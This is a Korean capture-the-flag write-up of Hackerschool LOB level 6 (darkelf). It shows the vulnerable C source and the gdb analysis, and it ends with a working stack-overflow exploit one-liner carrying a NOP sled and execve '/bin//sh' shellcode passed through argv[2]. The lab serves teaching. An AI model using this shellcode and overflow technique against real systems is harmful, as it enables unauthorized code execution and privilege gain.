본문 바로가기

Pwnable/LOB

[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level6

 

wolfman에 로그인하면 역시나 darkelf 실행파일과 darkelf.c 소스 코드가 존재한다.

소스 코드는 다음과 같다.

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf 
        - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

Level5와 같지만, 해당 레벨에서는 argv[1]의 길이가 48보다 크면 프로그램이 종료된다.  그렇다면 argv[1][47] 이후에 쉘 코드를 작성하는 건 불가능 하다. 하지만, 스택에 쉘 코드를 저장할 방법이 없는 건 아니다. 해당 프로그램은 시작되자마자 argc가 2보다 작을 때만 종료되기 때문에, argc가 3개든 4개든 2개 이상이기만 하면 프로그램이 작동한다. 이 말은, argv[2], argv[3]을 인자로 넘겨주어도 프로그램은 문제 없이 실행된다는 뜻이다. 해당 프로그램에선 사용하지 않지만, argv[2]에 어떠한 값을 넘겼을 때, 해당 값이 저장되어 있는 공간의 주소를 gdb를 통해 알아내고, 그 곳의 주소를 ret에 덮어씌우면 argv[2]가 실행되지 않을까? 하는 생각에  gdb를 통해 첫 번째 인자를 "\xbf" 48개, 두 번째 인자를 "A" 50개로 작성해서 실행 결과를 보았다. memset에 중단점을 지정하고 스택 상황을 보았다.

 

 

 

먼저, 0xbffffa80부터 "\xbf"가 총 48개가 저장되었는데, 그 중 뒤의 8바이트는 각각 ebp(sfp), ret인 것을 확인할 수 있다. 버퍼와 ebp, ret이 연속된 공간을 할당받고 있는 것이다.

또, 아래의 0xbffffc09 부분부터 "\xbf"가 48개, 그 뒤에 "00"이 1바이트 존재하고, "A"(41)가 50개 저장되어 있는걸로 보아서, argv[1]과 argv[2] 사이에 1바이트의 간격을 두고 존재하는 것도 확인할 수 있다. 이를 통해 공격 방법을 구상해보면 다음과 같다.

 

  1. darkelf의 argv[1]은 아무런 값 44바이트 + argv[2]의 시작 주소 4바이트.(0xbffffc3a)
  2. argv[2]의 값은 적당량의 "\x90"(NOP)과 쉘 코드 25바이트.

를 인자로 넘겨서 실행시켜주면 된다. 코드는 다음과 같다.

 

./darkelf `python -c 'print "A"*44+"\x3a\xfc\xff\xbf" + " " + "\x90"*100 + "\x90"*100+"\x90"*150+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

 

 

 

 

공격에 성공하였다. my-pass를 입력 후 패스워드를 얻어서 darkelf로 로그인하면 된다.